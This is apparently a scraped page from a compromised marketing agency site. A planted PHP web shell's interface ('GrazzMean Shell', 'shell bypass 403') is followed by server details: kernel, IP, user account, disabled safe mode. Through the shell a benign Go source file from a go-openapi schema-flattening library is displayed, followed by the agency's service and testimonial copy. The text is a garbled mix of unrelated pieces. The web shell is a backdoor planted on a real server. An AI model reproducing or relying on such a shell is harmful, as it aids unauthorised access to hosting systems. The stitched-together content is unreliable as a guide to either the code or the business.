404 Not Found


nginx
beegazpacho.com - GrazzMean
shell bypass 403

GrazzMean Shell

Uname: Linux in-mum-web1557.main-hosting.eu 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Software: LiteSpeed
PHP version: 8.2.30 [ PHP INFO ] PHP os: Linux
Server Ip: 88.222.243.64
Your Ip: 216.73.216.168
User: u848900432 (848900432) | Group: o51372345 (1051372345)
Safe Mode: OFF
Disable Function:
NONE

name : flatten_name.go
package analysis

import (
	"fmt"
	"path"
	"sort"
	"strings"

	"github.com/go-openapi/analysis/internal/flatten/operations"
	"github.com/go-openapi/analysis/internal/flatten/replace"
	"github.com/go-openapi/analysis/internal/flatten/schutils"
	"github.com/go-openapi/analysis/internal/flatten/sortref"
	"github.com/go-openapi/spec"
	"github.com/go-openapi/swag"
)

// InlineSchemaNamer finds a new name for an inlined type
type InlineSchemaNamer struct {
	Spec           *spec.Swagger
	Operations     map[string]operations.OpRef
	flattenContext *context
	opts           *FlattenOpts
}

// Name yields a new name for the inline schema
func (isn *InlineSchemaNamer) Name(key string, schema *spec.Schema, aschema *AnalyzedSchema) error {
	debugLog("naming inlined schema at %s", key)

	parts := sortref.KeyParts(key)
	for _, name := range namesFromKey(parts, aschema, isn.Operations) {
		if name == "" {
			continue
		}

		// create unique name
		mangle := mangler(isn.opts)
		newName, isOAIGen := uniqifyName(isn.Spec.Definitions, mangle(name))

		// clone schema
		sch := schutils.Clone(schema)

		// replace values on schema
		debugLog("rewriting schema to ref: key=%s with new name: %s", key, newName)
		if err := replace.RewriteSchemaToRef(isn.Spec, key,
			spec.MustCreateRef(path.Join(definitionsPath, newName))); err != nil {
			return fmt.Errorf("error while creating definition %q from inline schema: %w", newName, err)
		}

		// rewrite any dependent $ref pointing to this place,
		// when not already pointing to a top-level definition.
		//
		// NOTE: this is important if such referers use arbitrary JSON pointers.
		an := New(isn.Spec)
		for k, v := range an.references.allRefs {
			r, erd := replace.DeepestRef(isn.opts.Swagger(), isn.opts.ExpandOpts(false), v)
			if erd != nil {
				return fmt.Errorf("at %s, %w", k, erd)
			}

			if isn.opts.flattenContext != nil {
				isn.opts.flattenContext.warnings = append(isn.opts.flattenContext.warnings, r.Warnings...)
			}

			if r.Ref.String() != key && (r.Ref.String() != path.Join(definitionsPath, newName) || path.Dir(v.String()) == definitionsPath) {
				continue
			}

			debugLog("found a $ref to a rewritten schema: %s points to %s", k, v.String())

			// rewrite $ref to the new target
			if err := replace.UpdateRef(isn.Spec, k,
				spec.MustCreateRef(path.Join(definitionsPath, newName))); err != nil {
				return err
			}
		}

		// NOTE: this extension is currently not used by go-swagger (provided for information only)
		sch.AddExtension("x-go-gen-location", GenLocation(parts))

		// save cloned schema to definitions
		schutils.Save(isn.Spec, newName, sch)

		// keep track of created refs
		if isn.flattenContext == nil {
			continue
		}

		debugLog("track created ref: key=%s, newName=%s, isOAIGen=%t", key, newName, isOAIGen)
		resolved := false

		if _, ok := isn.flattenContext.newRefs[key]; ok {
			resolved = isn.flattenContext.newRefs[key].resolved
		}

		isn.flattenContext.newRefs[key] = &newRef{
			key:      key,
			newName:  newName,
			path:     path.Join(definitionsPath, newName),
			isOAIGen: isOAIGen,
			resolved: resolved,
			schema:   sch,
		}
	}

	return nil
}

// uniqifyName yields a unique name for a definition
func uniqifyName(definitions spec.Definitions, name string) (string, bool) {
	isOAIGen := false
	if name == "" {
		name = "oaiGen"
		isOAIGen = true
	}

	if len(definitions) == 0 {
		return name, isOAIGen
	}

	unq := true
	for k := range definitions {
		if strings.EqualFold(k, name) {
			unq = false

			break
		}
	}

	if unq {
		return name, isOAIGen
	}

	name += "OAIGen"
	isOAIGen = true
	var idx int
	unique := name
	_, known := definitions[unique]

	for known {
		idx++
		unique = fmt.Sprintf("%s%d", name, idx)
		_, known = definitions[unique]
	}

	return unique, isOAIGen
}

func namesFromKey(parts sortref.SplitKey, aschema *AnalyzedSchema, operations map[string]operations.OpRef) []string {
	var (
		baseNames  [][]string
		startIndex int
	)

	switch {
	case parts.IsOperation():
		baseNames, startIndex = namesForOperation(parts, operations)
	case parts.IsDefinition():
		baseNames, startIndex = namesForDefinition(parts)
	default:
		// this a non-standard pointer: build a name by concatenating its parts
		baseNames = [][]string{parts}
		startIndex = len(baseNames) + 1
	}

	result := make([]string, 0, len(baseNames))
	for _, segments := range baseNames {
		nm := parts.BuildName(segments, startIndex, partAdder(aschema))
		if nm == "" {
			continue
		}

		result = append(result, nm)
	}
	sort.Strings(result)

	debugLog("names from parts: %v => %v", parts, result)
	return result
}

func namesForParam(parts sortref.SplitKey, operations map[string]operations.OpRef) ([][]string, int) {
	var (
		baseNames  [][]string
		startIndex int
	)

	piref := parts.PathItemRef()
	if piref.String() != "" && parts.IsOperationParam() {
		if op, ok := operations[piref.String()]; ok {
			startIndex = 5
			baseNames = append(baseNames, []string{op.ID, "params", "body"})
		}
	} else if parts.IsSharedOperationParam() {
		pref := parts.PathRef()
		for k, v := range operations {
			if strings.HasPrefix(k, pref.String()) {
				startIndex = 4
				baseNames = append(baseNames, []string{v.ID, "params", "body"})
			}
		}
	}

	return baseNames, startIndex
}

func namesForOperation(parts sortref.SplitKey, operations map[string]operations.OpRef) ([][]string, int) {
	var (
		baseNames  [][]string
		startIndex int
	)

	// params
	if parts.IsOperationParam() || parts.IsSharedOperationParam() {
		baseNames, startIndex = namesForParam(parts, operations)
	}

	// responses
	if parts.IsOperationResponse() {
		piref := parts.PathItemRef()
		if piref.String() != "" {
			if op, ok := operations[piref.String()]; ok {
				startIndex = 6
				baseNames = append(baseNames, []string{op.ID, parts.ResponseName(), "body"})
			}
		}
	}

	return baseNames, startIndex
}

func namesForDefinition(parts sortref.SplitKey) ([][]string, int) {
	nm := parts.DefinitionName()
	if nm != "" {
		return [][]string{{parts.DefinitionName()}}, 2
	}

	return [][]string{}, 0
}

// partAdder knows how to interpret a schema when it comes to build a name from parts
func partAdder(aschema *AnalyzedSchema) sortref.PartAdder {
	return func(part string) []string {
		segments := make([]string, 0, 2)

		if part == "items" || part == "additionalItems" {
			if aschema.IsTuple || aschema.IsTupleWithExtra {
				segments = append(segments, "tuple")
			} else {
				segments = append(segments, "items")
			}

			if part == "additionalItems" {
				segments = append(segments, part)
			}

			return segments
		}

		segments = append(segments, part)

		return segments
	}
}

func mangler(o *FlattenOpts) func(string) string {
	if o.KeepNames {
		return func(in string) string { return in }
	}

	return swag.ToJSONName
}

func nameFromRef(ref spec.Ref, o *FlattenOpts) string {
	mangle := mangler(o)

	u := ref.GetURL()
	if u.Fragment != "" {
		return mangle(path.Base(u.Fragment))
	}

	if u.Path != "" {
		bn := path.Base(u.Path)
		if bn != "" && bn != "/" {
			ext := path.Ext(bn)
			if ext != "" {
				return mangle(bn[:len(bn)-len(ext)])
			}

			return mangle(bn)
		}
	}

	return mangle(strings.ReplaceAll(u.Host, ".", " "))
}

// GenLocation indicates from which section of the specification (models or operations) a definition has been created.
//
// This is reflected in the output spec with a "x-go-gen-location" extension. At the moment, this is provided
// for information only.
func GenLocation(parts sortref.SplitKey) string {
	switch {
	case parts.IsOperation():
		return "operations"
	case parts.IsDefinition():
		return "models"
	default:
		return ""
	}
}
© 2026 GrazzMean
Beegazpacho


Let’s  Start  Your  Online  Journey  with  Beegazpacho 

Welcome to Beegazpacho,
where creativity meets strategy,
and innovation drives success.


Contact
Now


OUR CLIENTS

WhatsApp-Image-2021-12-06.png
Untitled-design-11.png
niaf-logo.png
20220406-163308-scaled.jpg
karchi-logo.png
20220405-171252.png
20220405-171309.png
20220321-161603.png
20220321-161611.png
20220321-161628.png
20220321-161244.png
20220321-161256.png
20220321-161450.png
20220321-161205.png
20220226-170222.png
20220321-161051.png
20211202-170852.png
Untitled-design-9
pidilite-png-logo-colour
logo-black-e1706125740216-qisosldqhzgcaerhdt6n4t3m4s50jr0iik48z0h5vk
Fraikin-Dayim-logo-1
hpcl-logo-2-1
services

Transforming Ideas into
Success

.01
Digital Marketing

We drive growth through data-driven strategies and cutting-edge techniques.

Learn More

.02
SEO

Improve your online visibility and rank higher on search engines with our expert SEO services.

Learn More

.03
Website Designing

We design websites that are not only visually stunning but also user-centric, ensuring seamless navigation and enhanced user experience.

Learn More

.04
App Development

Our apps are crafted to be intuitive, engaging, and functional, providing your users with an exceptional mobile experience.

Learn More

.05
Social Media Ads

Target the right audience with precision and creativity to maximize engagement and conversions.

Learn More

.06
Google Ads

Maximize ROI with precision-targeted campaigns on Google’s powerful ad platform.

Learn More

.07
Google My Business

Optimize your local presence with strategies that put your business on the map and attract more customers.

Learn More

.08
Graphic Designing

Our designs tell your brand’s story in a visually compelling way.

Learn More

.09
3D Videos

Bring your product to life with immersive and dynamic 3D explainer videos.

Learn More

about BEEGAZPACHO

creating special Things
For special brands

Join the ranks of successful brands by partnering with Beegazpacho

00+

Happy Customer

00+

Continents

Our vision is not just to be a service provider but to be your partner in growth. We see ourselves as an extension of your team, working tirelessly to ensure that your brand not only meets its goals but surpasses them.

Explore
more

Our Recent Work

Crafted with Passion and Precision

Connect now


Web Design
Design, Development & Identity

Logo Design
Design, Development & Identity

Creative Brand design
Design, Development & Identity

Product Design Marketing
Design, Development & Identity

DIGITAL MARKETING
SEO
WEBSITE DESIGNING
APP DEVELOPMENT
SOCIAL MEDIA ADS
GOOGLE ADS
GOOGLE MY BUSINESS
GRAPHIC DESINING
3D VIDEOS
Client Stories

Hear It from Those Who Know Us Best

Our clients’ success stories speak volumes about our commitment to excellence. Don’t just take our word for it—hear directly from the brands we’ve partnered with. Their testimonials highlight our ability to bring visions to life and create a lasting impact on their businesses.

“Beegazpacho feels like an extension of our team. Their content marketing and social media expertise have elevated our brand. They listen, adapt, and always deliver on time. We look forward to continuing this partnership.”

— Sarah Williams

Head of Marketing, GreenPlanet Apparel

“Beegazpacho’s data-driven strategies helped us improve our online ads, optimize our website, and enhance branding. We’ve seen great ROI and increased visibility. Their professionalism is unmatched.”

— Arvind Shah

CEO, InnovateTech Solutions

“Partnering with Beegazpacho has been a game-changer for our brand. Their creative ad campaigns and SEO services have boosted our online presence and significantly increased leads and sales. We couldn’t ask for a better partner!”

— Rina Kapoor

Marketing Director, Luxury Home Interiors

“Beegazpacho feels like an extension of our team. Their content marketing and social media expertise have elevated our brand. They listen, adapt, and always deliver on time. We look forward to continuing this partnership.”

— Sarah Williams

Head of Marketing, GreenPlanet Apparel

“Beegazpacho’s data-driven strategies helped us improve our online ads, optimize our website, and enhance branding. We’ve seen great ROI and increased visibility. Their professionalism is unmatched.”

— Arvind Shah

CEO, InnovateTech Solutions

“Partnering with Beegazpacho has been a game-changer for our brand. Their creative ad campaigns and SEO services have boosted our online presence and significantly increased leads and sales. We couldn’t ask for a better partner!”

— Rina Kapoor

Marketing Director, Luxury Home Interiors